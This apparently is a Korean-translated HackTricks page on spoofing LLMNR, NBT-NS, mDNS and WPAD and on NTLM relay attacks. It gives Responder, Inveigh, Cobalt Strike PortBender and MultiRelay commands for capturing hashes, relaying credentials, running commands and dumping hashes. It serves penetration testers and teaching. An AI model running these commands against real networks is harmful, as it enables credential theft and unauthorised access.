mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
127 lines
7.8 KiB
Markdown
127 lines
7.8 KiB
Markdown
# LLMNR, NBT-NS, mDNS/DNS 및 WPAD 및 릴레이 공격 스푸핑
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## 네트워크 프로토콜
|
|
|
|
### 로컬 호스트 해상도 프로토콜
|
|
|
|
- **LLMNR, NBT-NS, 및 mDNS**:
|
|
- Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
|
|
- 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다.
|
|
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 전송하여 서비스를 가장하는 데 사용할 수 있습니다.
|
|
- Responder를 사용한 서비스 가장에 대한 추가 정보는 [여기](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)에서 확인할 수 있습니다.
|
|
|
|
### 웹 프록시 자동 검색 프로토콜 (WPAD)
|
|
|
|
- WPAD는 브라우저가 프록시 설정을 자동으로 발견할 수 있도록 합니다.
|
|
- 발견은 DHCP, DNS를 통해 이루어지며, DNS가 실패할 경우 LLMNR 및 NBT-NS로 대체됩니다.
|
|
- Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.
|
|
|
|
### 프로토콜 오염을 위한 Responder
|
|
|
|
- **Responder**는 LLMNR, NBT-NS 및 mDNS 쿼리를 오염시키기 위해 사용되는 도구로, 주로 SMB 서비스를 목표로 쿼리 유형에 따라 선택적으로 응답합니다.
|
|
- Kali Linux에 기본적으로 설치되어 있으며, `/etc/responder/Responder.conf`에서 구성할 수 있습니다.
|
|
- Responder는 캡처된 해시를 화면에 표시하고 `/usr/share/responder/logs` 디렉토리에 저장합니다.
|
|
- IPv4와 IPv6를 모두 지원합니다.
|
|
- Windows 버전의 Responder는 [여기](https://github.com/lgandx/Responder-Windows)에서 사용할 수 있습니다.
|
|
|
|
#### Responder 실행
|
|
|
|
- 기본 설정으로 Responder를 실행하려면: `responder -I <Interface>`
|
|
- 더 공격적인 탐색을 위해 (잠재적인 부작용 포함): `responder -I <Interface> -P -r -v`
|
|
- NTLMv1 챌린지/응답을 캡처하여 더 쉽게 크랙할 수 있는 기술: `responder -I <Interface> --lm --disable-ess`
|
|
- WPAD 가장을 활성화하려면: `responder -I <Interface> --wpad`
|
|
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
|
|
|
|
### Responder를 이용한 DHCP 오염
|
|
|
|
- DHCP 응답을 스푸핑하면 피해자의 라우팅 정보를 영구적으로 오염시킬 수 있으며, ARP 오염보다 더 은밀한 대안이 됩니다.
|
|
- 이는 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다.
|
|
- 공격 실행: `./Responder.py -I eth0 -Pdv`
|
|
- 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만, 네트워크 중단을 피하기 위해 신중한 처리가 필요합니다.
|
|
|
|
### Responder로 자격 증명 캡처
|
|
|
|
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다.
|
|
- NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명 크랙을 쉽게 할 수 있는 시도를 할 수 있습니다.
|
|
|
|
이러한 기술을 사용하는 것은 법적이고 윤리적으로 수행되어야 하며, 적절한 승인을 보장하고 중단이나 무단 접근을 피해야 합니다.
|
|
|
|
## Inveigh
|
|
|
|
Inveigh는 Windows 시스템을 위한 침투 테스터 및 레드 팀원을 위한 도구입니다. Responder와 유사한 기능을 제공하며, 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전하였으며, [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 및 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)가 주요 버전입니다. 자세한 매개변수 및 지침은 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)에서 확인할 수 있습니다.
|
|
|
|
Inveigh는 PowerShell을 통해 운영할 수 있습니다:
|
|
```bash
|
|
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
|
```
|
|
C# 바이너리로 실행됨:
|
|
```bash
|
|
Inveigh.exe
|
|
```
|
|
### NTLM Relay Attack
|
|
|
|
이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다:
|
|
|
|
- 인증하는 사용자는 중계된 호스트에서 로컬 관리자 권한을 가져야 합니다.
|
|
- SMB 서명이 비활성화되어야 합니다.
|
|
|
|
#### 445 포트 포워딩 및 터널링
|
|
|
|
직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 445 포트 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.
|
|
|
|
PortBender 설정 및 Cobalt Strike에서의 작동:
|
|
```bash
|
|
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
|
|
|
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
|
|
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
|
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
|
|
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
|
|
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
|
|
|
|
# Termination commands
|
|
beacon> jobs
|
|
beacon> jobkill 0
|
|
beacon> rportfwd stop 8445
|
|
beacon> socks stop
|
|
```
|
|
### NTLM 릴레이 공격을 위한 기타 도구
|
|
|
|
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부정보로 설정합니다.
|
|
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다.
|
|
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다.
|
|
|
|
각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.
|
|
|
|
### MultiRelay 작동
|
|
|
|
MultiRelay는 _**/usr/share/responder/tools**_ 디렉토리에서 실행되며, 특정 IP 또는 사용자를 대상으로 합니다.
|
|
```bash
|
|
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
|
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
|
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
|
|
|
# Proxychains for routing traffic
|
|
```
|
|
이 도구와 기술은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성합니다.
|
|
|
|
### NTLM 로그인 강제화
|
|
|
|
Windows에서는 **일부 권한이 있는 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
|
|
|
|
{{#ref}}
|
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
|
{{#endref}}
|
|
|
|
## 참고자료
|
|
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|